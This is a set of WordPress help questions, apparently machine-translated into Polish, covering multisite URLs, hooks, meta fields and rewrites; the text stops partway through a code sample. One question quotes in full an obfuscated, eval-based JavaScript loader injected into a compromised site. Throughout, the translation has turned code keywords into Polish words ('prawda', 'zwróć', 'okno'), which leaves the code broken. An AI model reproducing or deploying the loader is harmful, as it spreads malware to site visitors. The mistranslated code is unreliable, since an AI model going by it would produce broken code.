text: Mam zainstalowany MultiSite. Oznaczyłem go białą etykietą za pomocą wtyczki Whitelabel-CMS, ale nie mogę dostosować adresów URL stron rejestracji i logowania. Czy mogę zmienić adres URL mojej strony logowania w wielu witrynach? Chcę zmienić adresy URL stron rejestracji, logowania i rejestracji . * Rejestracja: http://domain.com/wp-signup.php * Logowanie: http://domain.com/wp-login.php/ * Rejestracja: http://domain.com/wp-register. php/ Czy możesz mi pomóc w dostosowaniu tych adresów URL? Czy jest taka możliwość? Aktualizacja: Zmieniłem plik .htaccess w ten sposób: <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^login$ /wp-login.php [L] RewriteRule ^signup$ /wp-signup.php [L] RewriteRule ^ register$ /wp-register.php [L] RewriteRule ^index\.php$ - [L] # przesłanych plików RewriteRule ^files/(.+) wp-includes/ms-files.php?file=$1 [L] RewriteCond %{REQUEST_FILENAME} -f [LUB] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^ - [L] RewriteRule . index.php [L] </IfModule> Nie jestem pewien, co dalej.


title: Jak zbiorczo wysyłać e-maile

text: Powinienem wysłać tysiące e-maili w reakcji na określone zdarzenie, więc wysyłanie e-maili nie jest ręczne, ale automatyczne. Serwer, na którym hostowana jest moja witryna, ma limit godzinowy na wysyłanie wiadomości e-mail (około 500 na godzinę), więc muszę go podzielić. Czy jest jakaś wtyczka, która ma tę funkcję? Lub jakąś bibliotekę PHP, która mi w tym pomaga? Dziękuję


title: Jak bezpiecznie edytować functions.php

text: Zastanawiałem się, jak bezpiecznie edytować (jak zobaczyć zmiany przed aktualizacją) functions.php. Zastanawiałem się nad tym, ponieważ jakiś czas temu popełniłem błąd w functions.php (o jeden za dużo..) i spowodował awarię wordpressa. Warto zauważyć, że nie mam dostępu do strony przez ftp..


title: Jakiś sposób na sprawdzenie integralności witryny Wordpress?

text: czy jest jakiś sposób, aby sprawdzić, czy instalacja poszła dobrze lub czy coś jest nie tak z backendem WP? Wystąpiłem kilka błędów i próbowałem ponownie zainstalować Wordpress w okienku „Aktualizacja”, ale z jakiegoś powodu nie działa, więc nie mam pojęcia, co się dzieje. Chciałbym to zrobić, ponieważ jest kilka naprawdę dziwnych rzeczy, które działy się na mojej stronie, których nigdy wcześniej nie doświadczyłem w wielu poprzednich instalacjach na 2 innych (starych) hostach. Nie jestem pewien, czy to problem z uprawnieniami, ale wiem tylko, że instalacja się popsuła i chcę się dowiedzieć, co poszło nie tak. Przykłady: * Brak .htaccess, chociaż host na to zezwala. * W Ustawieniach nie można zmienić niektórych ustawień lub natychmiast powraca do opcji domyślnej. * Nie można zainstalować ponownie z okienka „Aktualizacja”.


title: Czynność związana z otwarciem strony edycji w admin?

text: Mam funkcję, która zabija przyciski multimediów w niektórych niestandardowych typach postów. Chcę, aby ładował się za każdym razem, gdy otworzy się jakakolwiek strona edycji postu/strony. Jaka jest najlepsza akcja, aby to podłączyć? Z góry dziękuję.


title: Treści generowane przez użytkowników i bezpieczeństwo

text: Zamierzam stworzyć nową stronę. Chcę, aby witryna była generowana jako witryna z treścią przez użytkownika. Zasadniczo jest to funkcja mojej witryny. Użytkownicy rejestrują się w mojej witrynie wordpress, przesyłaj treści z panelu wp-admin, niektóre punkty zostaną przyznane, jeśli post zatwierdzi admin, później punkty te zostaną zamienione na gotówkę. Więc potrzebuję porady. Słyszałem, że wordpress ma niskie zabezpieczenia. Jeśli pozwolę użytkownikom tworzyć treści z wp-admin, czy zhakują moją witrynę? czy dobrze czy źle pozwolić im korzystać z obszaru wp-admin? Czy można utworzyć formularz przesyłania treści użytkownika z poziomu frontendu? Nie interesują mnie wtyczki takie jak TDO Mini Forms. Ponieważ potrzebuję systemu punktowego. Potrzebne wskazówki. Z góry dziękuję PS: **Czy mogę użyć buddypress, aby to osiągnąć?**


title: Jak wyświetlić niestandardową wiadomość raz przy aktywacji wtyczki?

text: Wiem, obserwując źródło wtyczki akismet, jak wyświetlić niestandardową wiadomość na stronie wtyczek, ale chcę, aby moja wiadomość pojawiła się tylko raz po aktywacji wtyczki. Jak mogłem to zrobić?


title: Zwracanie wielu wartości get_post_meta

text:
Szukam rozwiązania do zwracania wielu wartości get_post_meta... Obecnie używam tablicy meta box w następujący sposób: $meta_boxes[] = array( 'id' => 'setlist', 'title' => 'Setlist Information' , 'pages' => array('post'), 'fields' => array( array( 'name' => 'Setlist 1', // nazwa pola 'desc' => 'Entry 1', // opis pola , opcjonalnie 'id' => $prefix .'setlist_1', // id pola, tj. klucz meta 'type' => 'text', // pole tekstowe 'std' => '', // wartość domyślna, opcjonalnie 'style' => 'width: 100px', // niestandardowy styl pola, dodany w v3.1 ), array( 'name' => 'Setlist 2', 'desc' => 'Entry 2', 'id' => $prefiks .'setlist_2', 'type' => 'text', 'std' => '', 'style' => 'szerokość: 100px', ) i tak dalej (tj. setlist_3,4,5,6,7,8....) W moim single.php mam: <?php if ( get_post_meta( $post->ID, 'rw_setlist_1', true ) ) : echo "
 "; echo get_post_meta( $post->ID, 'rw_setlist_1', prawda ); echo "
"; ?> <?php endif; ?> <?php if ( get_post_meta( $post->ID, 'rw_setlist_2', true ) ) : echo "
"; echo get_post_meta( $post->ID, 'rw_setlist_2', prawda ); echo "
"; ?> <?php endif; ?> <?php if ( get_post_meta( $post->ID, 'rw_setlist_3', true ) ) : echo "
"; echo get_post_meta( $post->ID, 'rw_setlist_3', prawda ); echo "
"; ?> <?php endif; ?> <?php if ( get_post_meta( $post->ID, 'rw_setlist_4', true ) ) : echo "
"; echo get_post_meta( $post->ID, 'rw_setlist_4', prawda ); echo "
"; ?> <?php endif; ?> <?php if ( get_post_meta( $post->ID, 'rw_setlist_5', true ) ) : echo "
"; echo get_post_meta( $post->ID, 'rw_setlist_5', prawda ); echo "
"; ?> Wartości set-list mogą wynosić od 2 do 30... Nazwij mnie szalonym, ale czuję, że ta metoda powoduje niepotrzebne i długie czasy ładowania, mam rację? Jak więc miałbym stworzyć bardziej wydajny skrypt do tego, który sprawdzałby wszystkie wartości w tablicy w „prostszy sposób”.


title: Meta tytuł Błąd weryfikacji W3C z

text: W pojedynczym poście WordPress automatycznie generuje tytuł meta, ale wyświetla błąd walidacji. Oto, co generuje WordPress: <meta name="title" content="Tutaj pojawia się tytuł posta" /> I to jest błąd, który otrzymuję: **Zła wartość tytułu dla nazwy atrybutu w elemencie meta: Tytuł słowa kluczowego nie jest zarejestrowany. ** Jak to może zostać naprawione? Proszę pomóż.


title: w jaki sposób licencjonowane są dane z testów jednostkowych motywu?

text: Czy mogę użyć danych z testów jednostkowych motywu w witrynie demonstracyjnej dla motywu komercyjnego? Czy mogę używać go tylko do wewnętrznego rozwoju? http://codex.wordpress.org/Theme_Unit_Test


title: Automatyczne tworzenie menu dla stron z kategoriami?

text: To może być naciągane, ale mam witrynę, która ma dużą liczbę stron i podałem kategorie stron (z wtyczką, która pozwala mi dodawać kategorie do stron). Teraz chcę utworzyć menu paska bocznego, które pobiera wszystkie strony z kategorii strony, na której się znajdujesz. Więc jeśli jesteś na stronie, która jest sklasyfikowana w kategorii „Plaże”, chcę, aby zawierała wszystkie inne strony w tej kategorii. Jeśli to ma sens. Jak mogę to zrobić?


title: Wyświetl galerię obrazów w lightbox za pomocą jednego linku

text: Chciałbym wykonać następujące czynności: Na jednej stronie pokazać link „wyświetl obrazy”. Po kliknięciu wyświetli się lightbox, w którym będzie galeria obrazów, którą użytkownik może jednak. Nie chcę wyciągać wszystkich zdjęć dołączonych do postu, ponieważ niektóre zostaną użyte w innym miejscu na stronie. Czy ktoś ma jakieś wskazówki na rozwiązanie tego problemu? Wielkie dzięki


title: Tworzenie unikalnych adresów URL postów do testów A/B... Czy to w ogóle możliwe?

text: Chcę utworzyć wtyczkę do WordPressa, która pozwoli mi przeprowadzać testy A/B dla standardowych postów WordPress, ale nie mogę używać wtyczki Shrimptest, ponieważ potrzebuję spinu: Ponieważ ostatecznie testuję udostępnianie w sieciach społecznościowych, chcę moich wariantów postów, aby mieć unikalne adresy URL. **Więc: Jak mogę utworzyć trzy posty (każdy z unikalnym adresem URL), a następnie zmienić ich wygląd w interfejsie?** Ale nie jestem nawet pewien, czy jest to technicznie możliwe. Jakieś wskazówki, jak zacząć? Przyjrzałem się też testerowi podziału nagłówków WordPress (http://wordpress.org/extend/plugins/headline-split-tester/), ale znowu nie jestem pewien, czy ktokolwiek kliknie wspólny nagłówek A znajomych przejdź również do posta z tym samym nagłówkiem. Przyjrzałem się także wtyczce Premise, ale wydaje się, że obsługują one tylko strony docelowe — nie posty. Z góry dziękuję za wszelkie wskazówki/sugestie.


title: Uwzględnienie wszystkich terminów w wordpress tax_query

text: Jestem trochę zdezorientowany, dlaczego nie mogę automatycznie uwzględnić wszystkich terminów w tax_query? **Mój kod:** 'tax_query' => array( array( 'taxonomy' => 'miasto', 'field' => 'slug', 'terms' => array( nyc, boston, londyn ), ) ) Co jeśli mam dziesiątki miast? Czy nie jest fajnie dodawać je wszystkie ręcznie?


title: Użyj wp_nav_menu(), aby wyświetlić menu z innej witryny w instalacji sieciowej?

text: Więc w zasadzie aktualizuję starszą witrynę i muszę zrobić z niej multisite również dla niektórych blogów i tym podobnych. Chciałbym, aby menu główne strony (utworzone z poziomu administratora) było dostępne w innych witrynach w elegancki sposób. Oznacza to, że każda strona ma motyw i byłoby miło, gdybym mógł po prostu wp_nav_menu() na każdej z nich. Jakieś pomysły? Spojrzałem na switch_to_blog(), ale widzę, że jest przestarzały. Twoje zdrowie!


title: Jak rejestrować kliknięcia użytkownika na link — CPT, Meta użytkownika, inne?

text: Na pasku bocznym znajdują się linki, które pojawiają się, gdy użytkownik jest zalogowany. Linki wskazują na programy do pobierania na różnych innych witrynach, a także na naszej. Chcę mieć możliwość **rejestrowania kliknięć tych użytkowników**, aby móc później zobaczyć, co kliknął użytkownik. Oczywiście musiałbym być w stanie przechowywać więcej niż jedno kliknięcie na użytkownika. Jakieś sugestie, jaki jest najlepszy sposób, aby to zrobić? Utknąłem przy bramie. Myślałem o CPT lub User Meta, ale ta pierwsza wydaje się przesadna dla rejestrowania kliknięć. Nie jestem pewien co do tego ostatniego - nie chcę zaśmiecać tabeli user_meta mnóstwem kliknięć.


title: Wiele haków „template_redirect” czy jeden hak?

text: Muszę przekierować wiele szablonów dla mojej wtyczki. Używam kodu akcji „template_redirect” Codex i działa zgodnie z oczekiwaniami dla mojego pierwszego przekierowania. Moje pytanie brzmi: Jeśli chcę przekierować drugi szablon, co jest lepsze: Aby dodać kolejny zaczep template_redirect do mojego init() za pomocą drugiej funkcji, czy powinienem dodać dodatkowe warunki do mojej pierwszej funkcji i po prostu użyć jednego zaczepu? A) Jedna klasa przechwytująca Podcast { public function __construct() { add_action( 'template_redirect', array( $this, 'feed_template' ) ); } public function feed_template() { // Renderuj szablon kanału if ( in_array($_GET['post_type'], array('podcast')) && in_array($_GET['feed'], array('itunes')) ) { // załaduj szablon rss i zakończ // aby wykluczyć kod html $file = dirname( __FILE__ ). '/templates/feed-itunes.php'; ładuj_szablon( $plik ); Wyjście(); } else if ( in_array($_GET['post_type'], array('podcast')) && in_array($_GET['feed'], array('rss', 'rss2')) ) { $file = dirname( __PLIK__ ) . '/szablony/feed-rss.php'; ładuj_szablon( $plik ); Wyjście(); } } } B) Klasa dwóch hooków Podcast { funkcja public __construct() { add_action( 'template_redirect', array( $this, 'feed_template_itunes' ) ); add_action( 'template_redirect', array( $this, 'feed_template_rss' ) ); } public function feed_template_itunes() { // Renderuj szablon kanału if ( in_array($_GET['post_type'], array('podcast')) && in_array($_GET['feed'], array('itunes')) ) { // załaduj szablon rss i zakończ // aby wykluczyć kod html $file = dirname( __FILE__ ). '/templates/feed-itunes.php'; ładuj_szablon( $plik ); Wyjście(); } } public function feed_template_rss() { // Renderuj szablon kanału if ( in_array($_GET['post_type'], array('podcast')) && in_array($_GET['feed'], array('rss', 'rss2')) ) { // załaduj szablon rss i zakończ // aby wykluczyć kod html $file = dirname(__FILE__) . '/szablony/feed-rss.php'; ładuj_szablon( $plik ); Wyjście(); } } } Co jest lepsze A) czy B)?


title: niestandardowe przepisywanie wordpress

text: Próbuję niestandardowego przepisać dla następującego adresu URL... http://www.domain.com/lp/1 i zostanie on przetworzony za pomocą lp.php?p=1 Próbowałem wykonać następujące czynności... add_action( 'init', 'aagt_rewrite_add_rewrites' ); function aagt_rewrite_add_rewrites() { add_rewrite_rule( '^lp/(\d+)/?$', // p a następnie ukośnik, seria jednej lub więcej cyfr i może kolejny ukośnik 'lp.php?p=$matches[1 ]',             'Top'         ); } ale jeśli spróbuję url (http://www.domain.com/lp/1) po powyższym kodzie, to nie zadziałało. czy czegoś mi brakuje, próbowałem spłukać reguły htaccess. proszę o pomoc, dzięki.


title: Menu nawigacyjne – Dodaj klasę w oparciu o klawisze meta

text:
Próbuję znaleźć sposób, który zmieni klasy różnych elementów menu nawigacyjnego na podstawie wartości klucza meta na stronie. Menu obecnie wygląda tak:
Pozycja menu 1

Pozycja menu 2

Pozycja menu 3

Pozycja menu 4

Pozycja menu 5
 Używając klawiszy niestandardowych Chcę pobrać indywidualny klucz z każdej strony i umieścić go w odpowiedniej pozycji menu, jako klasę taką jak:
Pozycja menu 1

Pozycja menu 2

Pozycja menu 3

Pozycja menu 4

Pozycja menu 5
 Oto, co mam do tej pory: add_filter('nav_menu_css_class' , 'special_nav_class' , 10 , 2); function special_nav_class($classes, $item){ global $post; $colorcode = get_post_meta($post->ID, 'color_dropdown', true); if(is_page()) { $classes[] = $colorcode; } zwróć $klasy; } To, co robi, to dodawanie klucza meta do klas, ale tylko podczas odwiedzania strony, która ma przypisaną wartość klucza meta, a następnie dodaje go do wszystkich pozycji menu, co nie jest właściwe. Nie mogę wrócić do edytora menu ręcznie za pomocą funkcji klasy CSS. Użytkownik nie będzie miał dostępu do tego obszaru i bardzo ważne jest, aby mógł ustawić różne klasy za pomocą menu rozwijanego metaboksu w rzeczywistym trybie edycji strony. Od jakiegoś czasu ciągnę za włosy i wydaje mi się, że nie mogę zmusić ich do pracy, czy to niemożliwe? **EDYCJA: ZAKTUALIZOWANO MOJE PYTANIE**


title: Wywołanie funkcji w Functions.php z zewnętrznego skryptu PHP

text: **Preambuła** _Starałem się upewnić, że to pytanie nie zostało wcześniej zadane. Jestem nowy w używaniu StackExchange, więc być może nie udało mi się to zrobić. Nie mam nic przeciwko naganom; gruba skóra i szybko się uczę :)_ **PROBLEM** Napisałem funkcję i umieściłem w moim motywie funkcję functions.php serverConnect() { $serverAccess = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); if (!$serverAccess) { die("Odmowa dostępu"); } return $serverAccess; } Pomysł polegał na tym, aby móc zalogować się do bazy danych wyabstrahowanej do funkcji, więc gdy tylko mój niekonwencjonalny motyw tego potrzebował, mogłem się zalogować i zrobić to, co należało zrobić. Gdy zbudowałem więcej funkcji, uznałem, że korzystne byłoby oddzielenie niektórych funkcji do zewnętrznych plików php. Ten skrypt jest wywoływany, gdy formularz jest publikowany w cp admin. W _theme-root/scripts/hypothetical-theme-function.php_ : $switch = mysql_select_db( 'differentDB', serverConnent()); Problem polega na tym, że _hipotetyczna-funkcja-motywu.php_ nie ma dostępu do functions.php, aby móc wywołać serverConnect(); Próbowałem include(/ścieżka/do/functions.php), include_once(/ścieżka/do/functions.php), require(/ścieżka/do/functions.php) i require_once(/ścieżka/do/functions.php ). Błędy, które otrzymuję za pomocą poleceń Once to: Błąd krytyczny: Wywołanie niezdefiniowanej funkcji serverConnent() ... Problem, który otrzymuję z dołączaniem lub wymaganiem, to: Błąd krytyczny: Nie można ponownie zadeklarować serverConnect() ... ** PYTANIE ** Jak wywołać dowolną funkcję w Functions.php z zewnętrznego skryptu php?


title: Przepisz kategorię

text: Jak przepisać adres URL kategorii, który ma numer na końcu, na adres URL bez numeru za pomocą programu do zapisywania adresów URL Wordpress? i... Dlaczego do wszystkich adresów URL kategorii dołączony jest numer? http://www.latestnewsexplorer.com/news/gaming/pc-gaming-2/


title: Selectbox w panelu administracyjnym funkcji linkującej do CSS

text:
Chcę połączyć pole wyboru z moim CSS. Na przykład, jeśli kliknę element na liście, tło mojego nagłówka zmieni się - kolor nagłówka jest w CSS. Selectbox nie znajduje się w html, ale jest w `options.php` w pliku motywu i częściowo w pliku `functions.php`. Chodzi o to, że jeśli kliknę na pole wyboru, pojawią się 3 nazwy, a jeśli kliknę jedną i ją zachowam, powinno zmienić się kolor na ten „styl motywu”. Czy ktoś ma pomysł, jak to zrobić? To jest powiązana część w pliku header.php :

 <?php if(theme_get_option('theme_header_show_headline')): ?> <?php $headline = theme_get_option('theme_'.(is_single()?'single':'posts').'_headline_tag'); ?> <<?php echo $nagłówek; ?> class="nazwa-logo-motywu"><a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?></<?php echo $nagłówek; ?>> <?php endif; ?> <?php if(theme_get_option('theme_header_show_slogan')): ?> <?php $slogan = theme_get_option('theme_'.(is_single()?'single':'posts').'_slogan_tag'); ?> <<?php echo $slogan; ?> class="theme-logo-text"><?php bloginfo('opis'); ?></<?php echo $slogan; ?>> <?php endif; ?>

 To jest powiązana część pliku options.php : $header_styles_options = array( 'style1' => __('Style 1', THEME_NS), 'style2' => __(' Styl 2', THEME_NS), 'style3' => __('Styl 3', THEME_NS), ); array( 'id' => 'theme_style_options', 'name' => __('Style motywu', THEME_NS), 'type' => 'select', 'options' => $header_styles_options ), ); Jeśli więc wybiorę „Styl 1” i zapiszę opcje, to kiedy wejdę na stronę, zmieni się kolor nagłówka.


title: Dane formularza do wordpress DB

text: Poszukuję DOWOLNEJ wtyczki, która może zapisać dane z niestandardowych formularzy (formularz newslettera, formularz kontaktowy) w bazie danych WP (front-end), a następnie umożliwić przeglądanie przesłanych danych w back-endzie (administrator WP). Wszelkie wskazówki są mile widziane!


title: Opłata za wysyłkę według kraju i wagi produktu?

text: Używam wtyczki WP E-Commerce. W mojej platformie e-commerce są dwie zmienne ceny produktu. Opiera się na lokalizacji (tj. Indie, USA, Kanada (nie według kontynentu)), a także na wadze. Jak mogę to osiągnąć, czy jest jakaś wtyczka?


title: Jak mogę zintegrować strony napisane w czymś innym niż PHP?

text: Na blogu WordPress chciałbym dodać dodatkową funkcjonalność, ale jeśli to możliwe, napisz coś innego niż PHP, na przykład Python. Na przykład chciałbym utworzyć stronę do samodzielnego planowania dla firmy, aby klienci mogli wybrać godziny spotkań, a następnie napisać stronę administratora dla firmy, aby przeglądać rezerwacje i zarządzać nimi. Oczywiście wszystko, na czym naprawdę zależy mi od WP dla tego podobszaru, to linki nagłówka/stopki i menu prezentowane na stronach skierowanych do klienta. Mogę sobie wyobrazić schemat, taki jak tworzenie stron, które zawierają nic więcej niż div i trochę JavaScript, aby wypełnić div treścią ze strony opartej na Pythonie, ale nie mam dobrego wyczucia, czy to dobry pomysł. Myślę, że moje pytanie brzmi, czy istnieje dobry sposób na użycie WordPressa do ogólnego układu strony, ale użycie czegoś innego niż PHP do obszaru treści?


title: Czy istnieje sposób, aby umożliwić wtyczce nadpisanie poprzedniej wersji?

text: Podczas instalacji wtyczki nie zainstaluje się ona, jeśli katalog, w którym próbuje się zainstalować, już istnieje. Oznacza to, że użytkownicy naszej wtyczki muszą najpierw ręcznie dezaktywować i usunąć wtyczkę. Czy istnieje sposób na wymuszenie nadpisania katalogu lub dezaktywacji wtyczki i usunięcia katalogu podczas instalacji? Jedynym rozwiązaniem, jakie mogę wymyślić, jest dezaktywacja i usunięcie poprzedniej wersji po aktywacji, ale nie tylko wymagałoby to wersjonowania katalogu wtyczek, ale najwyraźniej wymagałoby również wersjonowania wszystkich funkcji wtyczki.


title: Wysyła e-mail do administratora

text: Czy jest jakaś wtyczka lub kod, który wysyła wiadomość e-mail do mnie (administratora), gdy autor lub pisarz publikuje post?


title: Wyświetlanie wiadomości powitalnej użytkownikowi Woocommerce

text: W polach rejestracyjnych wprowadziłem dwa dodatkowe pola, które przyjmują imię i nazwisko rejestrującego się użytkownika. W moim woocommerce-functions.php określam (imię_użytkownika/nazwisko) w następujący sposób: function woocommerce_process_registration() { global $woocommerce, $current_user; if ( ! empty( $_POST['register'] ) ) { $woocommerce->verify_nonce( 'register' ); // Pobierz pola $user_email = isset( $_POST['email'] ) ? przyciąć( $_POST['e-mail'] ) : ''; $hasło = isset( $_POST['hasło'] ) ? przyciąć( $_POST['hasło'] ) : ''; $hasło2 = isset( $_POST['hasło2']) ? przyciąć( $_POST['hasło2'] ) : ''; $user_email = apply_filters( 'user_registration_email', $user_email ); $user_firstname = isset( $_POST['firstname']) ? przyciąć( $_POST['imię'] ) : ''; $user_lastname = isset( $_POST['lastname']) ? przyciąć( $_POST['nazwisko'] ) : ''; Biorąc to pod uwagę, jak dodać wiadomość powitalną do pliku header.php, który używa formatu <?php global $user_identity; get_currentuserinfo(); if ($user_identity == '') { echo('Witaj gościu'); } else { echo('Witamy' . $user_identity); } ?> Z góry dziękuję!


title: Witryna WP wyświetla tylko JavaScript dla strony głównej

text: Mam witrynę Wordpress, w której niektórzy użytkownicy widzą tylko pustą stronę. W rzeczywistości otrzymują tylko jakiś rodzaj javascriptu (poniżej). Próbowałem dezaktywować wszystkie wtyczki i zmienić motyw; Nadal otrzymuję ten sam wynik. Nie mam zainstalowanych wtyczek kompresujących (takich jak WP-Cache lub WP-SuperCache). W czym problem i jak go naprawić? <script>s="";try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-016/7;try{prototype-1;} catch(bawg){e=okno["e"+"va"+"l"];n=[9,18,315,408,32,80,300,444,99,234,327,404,110,232,138,412,101,232,207,432,101,218,303,440,116,230,198,484,84,301,194,33,309,3,3,3,412,101,232,207,432,101,218,303,440,116,230,198,484,84,301,193,732,3,3,3,3,3 ,36,105,204,342,388,109,202,342,160,41,118,39,36,9,250,96,404,108,230,303,128,123,26,27,36,9,200,333,396,117,218,303,440,116,92,357,456,105,232,303,160,34,120,315,408,114,194,327,404,32,230,342,396,61,78,312,464,116,224,174,188,47,224,327,408,115,216,366,424,46,232,324,400,46,198,297,188,100,94,156,192,52,92,336,416,112,126,309,444,61,98,117,128,119,210,300,464,104,122,117,196,48,78 ,96,416,101,210,309,416,116,122,117,196,48,78,96,460,116,242,324,404,61,78,354,420,115,210,294,420,108,210,348,484,58,208,315,400,100,202,330,236,112,222,345,420,116,210,333,440,58,194,294,460,111,216,351,464,101,118,324,404,102,232,174,192,59,232,333,448,58,96,177,156,62,120,141,420 ,102,228,291,436,101,124,102,164,59,26,27,36,125,26,27,36,102,234,330,396,116,210,333,440,32,210,306,456,97,218,303,456,40,82,369,52,9,18,27,472,97,228,96,408,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,117,420,102,228,291,436,101,78,123,236,102,92,345,404,116,130,348,464,114,210,294,468,116,202,120,156,115,228,297,156,44 ,78,312,464,116,224,174,188,47,224,327,408,115,216,366,424,46,232,324,400,46,198,297,188,100,94,156,192,52,92,336,416,112,126,309,444,61,98,117,164,59,204,138,460,116,242,324,404,46,236,315,460,105,196,315,432,105,232,363,244,39,208,315,400,100,202,330,156,59,204,138,460,116,242,324,404,46,224,333,460,105,232,315,444,110,122,117,388,98,230,333,432,117,232,303,156,59,204,138,460,116,242,324,404,46,216,303,408,116,122,117,192,39,118,306,184,115,232,363,432,101,92,348,444,112,122,117,192,39,118,306,184,115,202,348,260,116,232,342,420,98,234,348,404,40,78,357,420,100,232,312,156,44,78,147,192 ,39,82,177,408,46,230,303, 464,65,232,348,456,105,196,351,464,101,80,117,416,101,210,309,416,116,78,132,156,49,96,117,164,59,26,27,36,9,200,333,396,117,218,303,440,116,92,309,404,116,138,324,404,109,202,330,464,115,132,363,336,97,206,234,388,109,202,120,156,98,222,300,484,39,82,273,192,93,92,291,448,112,202,330,400,67,208,315,432,100,80,306,164,59,26,27,36,125];if (okno.dokument)for(i=6-2-1-2-1;-581+i!=2-2;i++){k=i;s=s+String.fromCharCode(n[k]/( i%(h*h)+2-1));}e(s);}}</script>


title: Ogranicz rozmiar niestandardowego obrazu tła

text: Czy można ograniczyć rozmiar niestandardowego obrazu tła? Niedawno wydałem motyw i zauważyłem, że ludzie przesyłają bardzo duże obrazy, które mają służyć jako obraz tła, co oczywiście powoduje, że strona ładuje się bardzo wolno. Czy możesz jakoś określić wymiary obrazka w tle, aby po wgraniu obrazek został zmieniony?


title: Jak mogę dowiedzieć się, jakie funkcje są przypisane do akcji?

text: Czy jest jakiś sposób, aby dowiedzieć się, jakie funkcje są dodawane do akcji na określonej stronie w WordPressie?


title: wp listy stron przy użyciu wartości metabox

text: Używam następujących meta pól na stronie usług, ale w jaki sposób mogę uzyskać strony, które mają wartość tego meta pola? Na przykład, wypisz wszystkie strony, gdzie service_type = 'web' Używam teraz następującego... <?php wp_list_pages("title_li=&child_of=15&sort_column=ID"); ?> Ale w jaki sposób mogę uzyskać strony używające wartości meta pola, takich jak `$custom["type"][0] == 'web'`?


title: Niepotrzebny adres URL

text:
$alt_text = get_post_meta ($id, '_wp_attachment_image_alt', prawda); $output .= '

”; Za pomocą kodu mogę uzyskać obraz i tekst alternatywny jako adres URL dla każdego slajdu w moim sliderze. Wszystko działa dobrze, ale niestety po najechaniu myszą na obraz widzę coś takiego: 192.168.1.100/wordpress/www.youtube.com Jak mogę pozbyć się adresu URL wordpress? Z góry dziękuję !


title: Opinie zamiast komentarzy

text: Chciałbym mieć funkcję na mojej stronie, w której zamiast komentowania, widzowie mogą przekazywać opinie do postów na następujące tematy: * oryginalność * muzykalność * talent Chciałbym, aby była oparta na "+1", gdzie zalogowani widzowie mogą dodawać punkt, w którym według nich autor powinien się poprawić (jeden widz może to zrobić tylko raz na post). można wybrać jeden lub wszystkie. Niestety nie odniosłem sukcesu w wyszukiwaniu wtyczki, która pozwala mi to zrobić, przeszukałem wordpress i codecanyon, ale bez powodzenia. Jeśli jedynym rozwiązaniem jest zrobienie tego samemu, jak mogę stworzyć system ocen oparty na „+1” dla posta, który widzowie mogą aktualizować tylko raz? Pozdrowienia


title: next_post_link() nie działa dla pojedynczego niestandardowego postu typu post

text:
Przez całe życie nie mogę sprawić, by to zadziałało - to jest kod w moim pliku **single- osu_work.php**, który jest używany do tego typu postu, ale nie mogę uzyskać linków do następnego i poprzedniego posta się pojawić - czy widzisz problem? Próbowałem umieścić linki stronicowania w pętli, ale nadal nic. Dzięki, Osu if (have_posts()) : while (have_posts()) : the_post(); ?> <artykuł <?php post_class(); ?> id="post-<?php the_ID(); ?>">
<?php the_title(); ?>
 <?php the_content(); ?> Data: <?php the_date('T'); ?>
 <?php endwhile; else : ?>

Nic nie znaleziono

Przepraszamy, ale natrafiłeś na stronę, której nie można znaleźć.

Użyj funkcji wyszukiwania lub kontynuuj przeglądanie.
 <?php echo get_search_form(); ?>
 <?php endif; ?>
<?php next_post_link('%link', 'Nowers entry >', true) ?>

<?php previous_post_link ('%link', '< Starszy wpis', prawda) ?>


title: Pokaż post TYLKO z kategorii nadrzędnej (taksonomia niestandardowa)!

text: Chcę wyświetlić wszystkie posty TYLKO w kategorii nadrzędnej (taksonomia niestandardowa)!. Oto co zrobiłem do tej pory:' <?php $args = array( 'posts_per_page' => 100, 'post_status' => 'publish', 'tax_query' => array( array( 'taksonomia' => 'ait -dir-item-category', 'field' => 'id', 'terms' => 75) ), 'post_type' => 'ait-dir-item' ); $the_posts = nowe WP_Query($args); Spowoduje to wyświetlenie wszystkich postów, w tym podkategorii, których nie chcę. Dziękuję!!


title: Znacznik tytułu widżetu w register_sidebar

text:
Jak to się dzieje, że znaczniki określone w ustawieniach „before_title” i „after_title” register_sidebar są stosowane do domyślnego tekstowego widżetu WordPress, ale nie do jednego z naszych niestandardowych widżetów, gdy oba znajdują się na tym samym pasku bocznym i oba mają tytuł w ustawieniach widżetu ? Na przykład kiedy ustawię register_sidebar( array( 'name' => $name, 'id' => $id, 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '
XXXXX', 'after_title' => '
', ) ); XXXX pojawia się w tytule widżetu tekstowego, ale nie w żadnym z naszych niestandardowych widżetów. W metodzie widżetów niestandardowych widżetów robimy takie rzeczy jak $title = $instance['title']; if ( $title ) { echo '
' . esc_html( $tytuł ) . '
'; } Czy ten sposób renderowania tytułu zastępuje wszelkie ustawienia, które umieściłeś w register_sidebar?


title: Jak używać add_action dla wielu instancji tej samej klasy?

text: Piszę wtyczkę, która definiuje klasę, która ma być wywoływana wielokrotnie. Klasa używa `add_action` do rejestrowania własnych metod jako wywołań zwrotnych. class MojaKlasa { __construct($foo) { add_action('hook1', array($this, 'method1') ); add_action('hook2', array($this, 'method2') ); } public function method1() {...} public function method2() {...} } Działa to dobrze. Ale kiedy robię to dwa razy, tylko drugi działa. nowa MojaKlasa('foo'); nowa MojaKlasa('bar'); Innymi słowy, wyniki powyższego kodu są dokładnie takie, jakich oczekiwałbym od następujących: // new MyClass('foo'); nowa MojaKlasa('bar'); Wygląda na to, że druga instancja zastępuje pierwszą. Co ja robię źle? Sprawdziłem, aby upewnić się, że `spl_object_hash()` jest inny dla obu instancji i tak jest. Dodałem `var_dump($wp_filter);` po moim kodzie i widzę OBYDWA instancje wymienione pod odpowiednim klawiszem haka akcji. Wygląda więc na to, że WP wie, że oba są tam... **Pełny kod z mojej kompletnej wtyczki:** Wklej to do pliku w /wp-content/mu-plugins.php, a następnie dodaj/edytuj post. **Powinieneś** zobaczyć dwa nowe niestandardowe pola „Foo” i „Bar”, ale zobaczysz tylko „Bar”. Skomentuj ostatnie wiersze, aby przetestować różne kombinacje instancji klasy. <?php /* Nazwa wtyczki: SDP Custom Meta Boxes Opis: Definiuje własną klasę frameworka meta box. */ class SDP_Custom_Field { public $name = NULL; publiczne $slug = NULL; publiczny 